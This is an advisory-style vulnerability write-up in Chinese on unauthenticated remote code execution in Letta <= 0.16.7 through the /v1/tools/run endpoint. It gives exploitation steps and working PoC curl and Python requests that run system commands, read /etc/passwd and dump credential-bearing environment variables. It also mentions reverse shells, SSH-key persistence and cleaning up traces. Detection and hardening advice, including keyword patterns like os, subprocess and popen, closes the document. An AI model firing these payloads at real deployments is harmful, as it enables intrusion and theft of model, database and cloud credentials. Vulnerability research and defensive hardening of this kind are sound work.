Letta <= 0.16.7 /v1/tools/run 未授权代码执行:source_code 无过滤 + 默认 Actor 回退
ai-security/agent-security · verified
一句话结论
Letta <= 0.16.7 的 /v1/tools/run 端点把请求中的 source_code 原样交给工具执行器,既没有 AST 校验也没有沙箱隔离;同时认证依赖客户端 user_id 头,缺省时回退到 Default Actor,默认配置下 no_default_actor=false、密码保护未启用,因此任何能访问 8283 端口的用户无需凭据即可 POST 任意 Python 代码,以 Letta 进程权限(常见为 root)执行系统命令。
原理
- 任意代码执行入口:
letta/server/rest_api/routers/v1/tools.py的POST /run接收ToolRunFromSource(含source_code、source_type、args、env_vars、pip_requirements等),直接调用server.run_tool_from_source(tool_source=request.source_code, ...);代码中没有任何过滤、AST 白名单或权限检查。 - 执行链无隔离:
server.py把源码写入临时工具并交给services/tool_sandbox/local_sandbox.py,后者用asyncio.create_subprocess_exec启动子进程执行;这是本地子进程,不是容器/gVisor 等隔离环境,子进程继承 Letta 服务的用户与权限。 - 认证缺陷:
services/user_manager.py的get_actor_or_default_async(actor_id)在actor_id is None时使用DEFAULT_USER_ID,并在找不到时自动创建默认 Actor;settings.py中no_default_actor默认为False。 - 密码保护未启用:
CheckPasswordMiddleware只有在LETTA_SERVER_SECURE=true且设置了密码时才生效;默认配置下只校验user_id头的格式,不校验 Token/Session。 - 组合后果:未认证请求 → 默认 Actor →
run_tool_from_source→ 本地子进程执行任意 Python → 读取文件、环境变量(模型/数据库/云凭据)、执行系统命令;文章实测权限为 root。
触发条件
- 目标运行 Letta <= 0.16.7,
/v1/tools/run可从攻击机访问(默认 8283)。 - 使用默认配置:未设置
LETTA_SERVER_SECURE=true/密码,no_default_actor保持默认False。 - 目标未在边界限制该端口,或攻击者已进入内网。
- Letta 进程以 root/高权用户运行(文章实测为 root),或至少具备读取敏感文件与环境变量的权限。
利用步骤
- 访问
http://<target>:8283/v1/tools/run或发送一个最小请求,确认端点存在且未要求认证。 - 构造 JSON:
source_code定义函数并用os.popen/subprocess执行命令,source_type为python,args为空对象,name任意。 - 发送 POST;响应中的
tool_return字段通常包含命令输出。 - 用
id/uname -a确认权限,再读取/etc/passwd、环境变量中的KEY/SECRET/PASS/TOKEN/DATABASE等。 - 需要交互时改用反弹 shell 或写入计划任务/SSH 公钥;注意清理临时工具与进程。
- 若目标启用了密码保护,尝试获取/猜测密码,或寻找其他可触达的工具注册/执行路径。
PoC
# 执行 id
curl -s -X POST "http://<TARGET>:8283/v1/tools/run" \
-H "Content-Type: application/json" \
-d '{
"source_code": "import os\ndef poc_rce():\n return os.popen(\"id\").read()\n",
"source_type": "python",
"args": {},
"name": "poc_rce"
}'
# 读取文件
curl -s -X POST "http://<TARGET>:8283/v1/tools/run" \
-H "Content-Type: application/json" \
-d '{
"source_code": "def read_file():\n with open(\"/etc/passwd\") as f:\n return f.read()\n",
"source_type": "python",
"args": {},
"name": "read_file"
}'
# 读取环境变量中的敏感凭据
curl -s -X POST "http://<TARGET>:8283/v1/tools/run" \
-H "Content-Type: application/json" \
-d '{
"source_code": "import os\ndef leak_env():\n env = dict(os.environ)\n keys = [k for k in env if any(s in k.upper() for s in [\"KEY\",\"SECRET\",\"PASS\",\"TOKEN\",\"DATABASE\",\"PG\"])]\n return {k: env[k] for k in keys}\n",
"source_type": "python",
"args": {},
"name": "leak_env"
}'
import requests
URL = "http://<TARGET>:8283/v1/tools/run"
payload = {
"source_code": "import os\ndef poc_rce():\n return os.popen('uname -a').read()\n",
"source_type": "python",
"args": {},
"name": "poc_rce",
}
r = requests.post(URL, json=payload)
print(r.json().get("tool_return", "No output"))
变体与关联
- 变体:
env_vars可向工具进程注入环境变量;pip_requirements可触发依赖安装;args/args_json_schema可改变调用参数,但核心仍是source_code任意执行。 - 变体:若
/v1/tools/run被限制,可寻找其他会执行工具源码的注册/更新接口;同一执行器也可能被 Agent 消息路径触达。 - 变体:
source_type若支持其他语言,可换语言执行;Python 路径最直接。 - 关联:[[ai-security-agent-security-letta-ast-whitelist-eval-fallback-bypass]](0.16.4 AST 白名单异常回退 eval,属于另一条代码执行链)、[[ai-security-agent-security-letta-running-message-eval-rce]](0.4.1 Running 消息 eval 注入)、[[ai-security-agent-security-langflow-build-public-tmp-data-code-exec]](同类 Agent 平台代码执行)。
- 边界:文章称影响 <= 0.16.7(写作时最新版),未给出官方 CVE;若目标启用了
LETTA_SERVER_SECURE或NO_DEFAULT_ACTOR=true,未认证路径会被阻断,需要其他前提。
检测与防御
- 修复:升级到厂商修复版本;在修复前禁止公网访问 8283,只允许可信网段/VPN。
- 加固:设置
LETTA_SERVER_SECURE=true与强随机密码,启用NO_DEFAULT_ACTOR=true,禁止默认 Actor 自动创建。 - 加固:把工具执行放入强隔离沙箱(gVisor/Firecracker/容器),非 root、只读文件系统、限制出网;不要把模型/数据库/云凭据放在 Letta 进程环境变量中。
- 检测:
POST /v1/tools/run的source_code中出现os、subprocess、popen、system、open、__import__;Letta 进程异常拉起 shell/子进程;响应tool_return含命令输出。 - 检测:未带认证头的请求被默认 Actor 接受;
no_default_actor配置被改为 False;8283 端口暴露在非管理网段。 - 注意:该端点的设计目的就是运行工具源码,不能仅靠“过滤关键字”修复;必须做认证、授权与强隔离。